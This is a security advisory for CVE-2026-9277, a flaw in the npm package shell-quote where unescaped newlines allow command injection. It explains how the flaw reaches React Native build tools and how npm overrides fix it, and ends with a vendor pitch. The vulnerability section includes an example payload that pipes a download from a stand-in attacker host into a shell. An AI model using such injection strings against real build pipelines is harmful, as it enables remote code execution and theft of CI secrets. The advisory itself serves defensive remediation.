Affected Versions
| Affected | < 1.9.0 |
| Fixed in | 1.9.0 |
| Ecosystem | npm |
| CVE / GHSA | CVE-2026-9277 / not assigned |
| CWE | unknown |
The Vulnerability Explained
shell-quote is a widely-used npm package that escapes strings for safe use in shell commands. At version 1.8.3, it failed to escape line terminator characters—\n (newline) and \r (carriage return)—allowing attackers to inject command separators into what should be single quoted arguments.
Consider how shell-quote builds commands. When you pass user input to shellQuote.quote():
const shellQuote = require('shell-quote');
const userInput = "hello\nworld";
const safe = shellQuote.quote([userInput]);
// 1.8.3 produces: 'hello
// world'
The unescaped newline terminates the single-quoted string prematurely. In shell syntax, this drops the attacker from inside a quoted argument to the raw command context. Anything following the newline executes as a new command.
In React Native build pipelines, this pattern surfaces through @react-native-community/cli and its platform-specific packages. These tools construct shell commands for pod install, gradle builds, and simulator launches. User-controlled values—project names, build flavors, or environment-derived strings—flow into these commands. An attacker who controls any such value can inject:
legitimate-arg
curl attacker.com/exfil | sh
The scanner confirmed this pattern exists in the dependency tree. While the exploit path wasn't confirmed reachable in this specific application, the transitive dependency through multiple React Native packages creates substantial attack surface.
The Fix
The remediation uses npm's overrides field to force shell-quote 1.9.0 across all dependency paths. The package.json change targets eight packages known to transitively include shell-quote:
"overrides": {
"@react-native-community/cli-platform-android": {
"fast-xml-parser": "^5.3.4",
"shell-quote": "1.9.0"
},
"@react-native-community/cli-platform-ios": {
"fast-xml-parser": "^5.3.4",
"shell-quote": "1.9.0"
},
"@craftzdog/react-native-buffer": {
"shell-quote": "1.9.0"
},
"@react-native-async-storage/async-storage": {
"shell-quote": "1.9.0"
},
"@react-native-clipboard/clipboard": {
"shell-quote": "1.9.0"
},
"@react-native-community/cli": {
"shell-quote": "1.9.0"
}
}
This approach is necessary because npm's dependency resolution can install multiple versions of the same package. A direct dependency on shell-quote 1.9.0 wouldn't eliminate vulnerable 1.8.3 instances nested under @react-native-community/cli. The override forces deduplication to the patched version.
The package-lock.json reflects this with the version bump:
- "version": "1.8.3",
+ "version": "1.9.0",
shell-quote 1.9.0 escapes line terminators by converting them to their $'...' ANSI-C quoted form, where \n becomes $'\n'—a string that shells interpret as a literal newline character rather than a syntax terminator.
Key Takeaways
-
Line terminators are shell metacharacters: Developers often focus on quotes, semicolons, and backticks while overlooking that
\nand\rare equally valid command separators in POSIX shell syntax. -
Transitive dependencies in native build tools carry critical risk: React Native's CLI constructs actual shell commands for Xcode and Gradle. A vulnerability in a dependency three levels deep still executes with the full privileges of the build process.
-
npm overrides are the surgical tool for dependency emergencies: When a vulnerable package appears multiple times in the tree,
overridesprovides deterministic remediation without waiting for upstream maintainers to update their own dependencies. -
Version pinning in overrides prevents regression: The explicit
"1.9.0"string (not^1.9.0) ensures npm cannot silently downgrade if another package declares an incompatible range. -
Build-time command injection matters as much as runtime: CI/CD secrets, signing certificates, and deployment credentials are all present during React Native builds. An attacker who achieves code execution here gains access to production infrastructure.
How Orbis AppSec Detected This
Source: User-influenced strings that flow into React Native CLI configuration—project names, bundle identifiers, and environment variables processed during pod install and gradle invocation.
Sink: shell-quote.quote() function constructing shell command arguments for @react-native-community/cli-platform-android and @react-native-community/cli-platform-ios build scripts.
Missing control: Line terminator characters (\n, \r) were not escaped or rejected before string interpolation into shell command contexts.
CWE: unknown
Fix: Force upgrade to shell-quote 1.9.0 across all transitive dependency paths using npm overrides, eliminating the vulnerable escaping implementation.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-9277 demonstrates that even mature, focused utility packages like shell-quote can harbor critical flaws in edge case handling. The line terminator oversight persisted through multiple 1.8.x releases, affecting thousands of projects through React Native's extensive dependency graph. The override-based fix provides immediate protection without waiting for the entire ecosystem to update, a pattern worth remembering for any npm-based project facing transitive dependency vulnerabilities.